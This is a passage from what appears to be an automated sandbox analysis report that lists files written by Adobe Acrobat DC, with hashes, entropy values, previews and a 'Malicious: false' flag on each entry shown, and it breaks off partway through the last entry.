Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFklywAH3G+kNttfllXlE/HT8kgnZNNX8RolJuRdxLlGB9lQRYwpDdt:kKrlG+kPeT89NMa8RdWBwRd
MD5:	3D48B9D10D6901497AD9652C11C9F52E
SHA1:	2FE6D6883BE39323CBDA2BB39B6000EA6F752F28
SHA-256:	0CA215BFFD95D9EC1345629E7FD73926A4F7C451D74FB24191E7E19924B5A31B
SHA-512:	0AFA173D26BDB50C07C9B85A6EDE3D2EBF050E792415C2B4B66104957F3369901D027862DE993FCE827564107FDA3077F339761CE75FD2B2E032CFC8317467AD
Malicious:	false
Preview:	p...... ........AUe..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7944

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7944

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.34625720724049
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJM3g98kUwPeUkwRe9:YvXKXBdEpIUhEZc0vTVGMbLUkee9
MD5:	D7666C5BA280693C990643EDA6E8FA64
SHA1:	14591D76A2FC2776D9FBC5BFFB88C186A8610A37
SHA-256:	5A33F12865A132D4D67F50B0B68F06F484CEF4300F8777AFD709B9972BEBBD95
SHA-512:	DD9641AEBED2869BFDA1549171EB73C7BDBC487F126EAF7CAA16146D32D9FF61A6EC75DB131F4AA3707D4E333943ECC743E1303F8E758447F5B44CE507464D87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296605271527399
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJfBoTfXpnrPeUkwRe9:YvXKXBdEpIUhEZc0vTVGWTfXcUkee9
MD5:	98A4EE81348C8D42DED93DF99C67EAE6
SHA1:	299ACE0DB7195EBDC32B4B008F9C93075893D55D
SHA-256:	F82B78EDF024ECFB136C91EE747251B4BAC6B6D60FBEE79706B127C936CBD407
SHA-512:	716CB050DE0DE1F1356443A3DA2AA155473EDB193D325E34695E36945E7106BAEDEDAE469FE2BC9351EB94BECFB4A84B8F4DE8ECA87E7CAED8F9C35813C95D9D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275496124138157
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJfBD2G6UpnrPeUkwRe9:YvXKXBdEpIUhEZc0vTVGR22cUkee9
MD5:	4AD101EB963AD495C3961A9F60946590
SHA1:	29711B5D221266755CAFC273076455D35E9B1DBE
SHA-256:	EC2DEE4387CA1EB5B80AA040CC31637085A0790FC6808053C2F145E95959E4CD
SHA-512:	E60783822D94CBB735D55D2E90C758964B03083E0A23EDBE1F61E191382EA0E3DD62F389595CB49E86934F2F87AAD609C68DB746997F8B93D13C0E923E3DBD3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.332667496625941
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJfPmwrPeUkwRe9:YvXKXBdEpIUhEZc0vTVGH56Ukee9
MD5:	8C38FFE0E03D5F264A3C9842DA2D6B98
SHA1:	D11F5800ABF149D4889A24E572F2D86237B85617
SHA-256:	0D2ECC7A27569197D43BDBD64558415C1AA63F238A31A10E3E37C39336A16F9B
SHA-512:	A186A5EDBFFCE53CA246641319C976311BB1B717977270B3E3362E79DB9C06506C2E1248142C6B6CB76D4100F93A315B4640FCA2935E0298DD006EA455F0468A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6862818256287495
Encrypted:	false
SSDEEP:	24:Yv6XBGpZhEzvupLgE9cQx8LennAvzBvkn0RCmK8czOCCSC:YvEGCWhgy6SAFv5Ah8cv/C
MD5:	CA14F71A6443F2DC10FA906BA6A12199
SHA1:	D913A19041612541F334699AB333058F2F41B796
SHA-256:	367656569C62416BFCD39798AF47C42A116AA7BAF37C94C6A048A263494F7362
SHA-512:	4597714C38944D2A96673FD0BAD8C287F66CC713ECBF01DB351F794C2C65C3D6BE73BD4C4D1E8C3B1FC419D64440FB6426ACDCC8BBF82433FFAEA9841B28071B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280823355364286
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJf8dPeUkwRe9:YvXKXBdEpIUhEZc0vTVGU8Ukee9
MD5:	AB680B4FEE9CE3FD0450F0DD8675A1B3
SHA1:	BFA94BFCCE40FE1318CD4F7659DDB2FEE1E1503E
SHA-256:	7E64994E54243CFFA4CEEEC393F1E51A198B2016AD419C831A2CCA789335F489
SHA-512:	2EE04E92374B9102FB30A099EE59605B42ECF4C7A1C1410C01504A94418C1EFB71EB6FE4E66EDC15EC5C9C48EED2EFEDBE6FD98616F73180790384B9A40F6C0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.286593533016333
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJfQ1rPeUkwRe9:YvXKXBdEpIUhEZc0vTVGY16Ukee9
MD5:	F38656FA3CD222C0F28A9412E4530486
SHA1:	26EAA80B980A77C80BEF0B44AB555D67D384297A
SHA-256:	99172FFD60411479E8AA8D1E3E8D199288012C171298439C151C719D134DEA44
SHA-512:	1C9CB327A4EB3ACF61683ADAA1A64459E6F7D68CAA3DAED762C4ECA56984371934F158F6352FDBC54DAFCD5C41E098FE199B490606E7E2CB82A92D3801127951
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290075755035183
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJfFldPeUkwRe9:YvXKXBdEpIUhEZc0vTVGz8Ukee9
MD5:	6726C45CF2DC4D4648E6AD383A36A708
SHA1:	E66794F90C379A4592AD0A215CEC467932126C6A
SHA-256:	3847A389695066005DD43C8D742B286A6F7F3A674F6E1739FFE0B9EA6695AD55
SHA-512:	ED8BCD0E6AE70D683B5F7198903A7C27E9AB9C03837D52181BD753B99A51368DD9F2A1325DDEE7E77ACD757BA357412E61FA2B28F60A181B7E66A4CE6D62738A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.305284906255797
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJfzdPeUkwRe9:YvXKXBdEpIUhEZc0vTVGb8Ukee9
MD5:	75D76ED22E710686717A189454542581
SHA1:	CEBDBFCA7235331E1635FFB650FB08BEE3F97AAB
SHA-256:	A6C3E9EE5EDCDA03B495BA20ACDE373B3B6FBD0C856C8EC7C827E40EDCA89868
SHA-512:	CE06DDA2A481D9830E5830158396B8A8AD8646AB8B782BE2F2ED0D849BEC184EACF1EB1427DA1E44F1CDF01459692C2771CACBD99681D74E014CA8C0661057B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286664205150536
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJfYdPeUkwRe9:YvXKXBdEpIUhEZc0vTVGg8Ukee9
MD5:	E38EC82F6785351E35BC4A546617A0A5
SHA1:	D52BE8C2FD609122026E717C4C13ACC2AAD2A321
SHA-256:	F6144DDEF1B31F25DF999B1327F9F753A9CA16DD1936B0645FE2EFB7FFF8FCEA
SHA-512:	465A3C5917EECF27E1619E126E50F3871549E981E97B0758BD5B48B6FCC94A40C42421D83C6429A06F5CA9B93173DE4EFFB1B8EAA3B5BB7DDCA910C4E84588BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.272162091319779
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJf+dPeUkwRe9:YvXKXBdEpIUhEZc0vTVG28Ukee9
MD5:	C229FE25D30082B3030828628D9A39E7
SHA1:	10E40C0888C77ED55D1DF55937E8A9F5FE18ABC1
SHA-256:	94F457CB6CA4F529640E8D41DA4713044B5353B2AB6C3D22FA60056E95300DBD
SHA-512:	C477AD6AFF65FF53D854D46B2A7085D6F75737AA152B43740766DBDFD33E67C7B3EE34400B479AE6B69ECFB300D2D76CCA221E80D817E762D98C6EC790E2C34C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.270302957771819
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJfbPtdPeUkwRe9:YvXKXBdEpIUhEZc0vTVGDV8Ukee9
MD5:	DAC928C7B988646626DAE6EC9F7DB8C7
SHA1:	BC047504A9C3FBCC477060D8324CC72DB0D9FAE7
SHA-256:	7A63BAEF829A20E2472ABEF1AD0E2AB90AC52D108FE7950136A8B7A41AB59931
SHA-512:	73472C8A89DB9AB998E74620E1FAA6F4D5EFCD8D928E254D1952DD1E0420CB0D40059237FC810CDB76CB92D9DEE1223C9A0F04AAAB0655D35E3295FE3989AD12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6692d2aa-13af-449b-baf4-0af677826a76","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714476958,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.275861236609237
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBdEpfIRRbYh9VoZcg1vRcR0YCeoAvJf21rPeUkwRe9:YvXKXBdEpIUhEZc0vTVG+16Ukee9
MD5:	98282132D38DDCA0588DB88BFE3B99DA
SHA1:	7A8CE1CB1017BBB1F1F12018096A370C93EF435C
SHA-256:	FE2311412967CC09CB28F4F90C82AD254290FCC5D019048CABE7E7DEB1ED7FD1
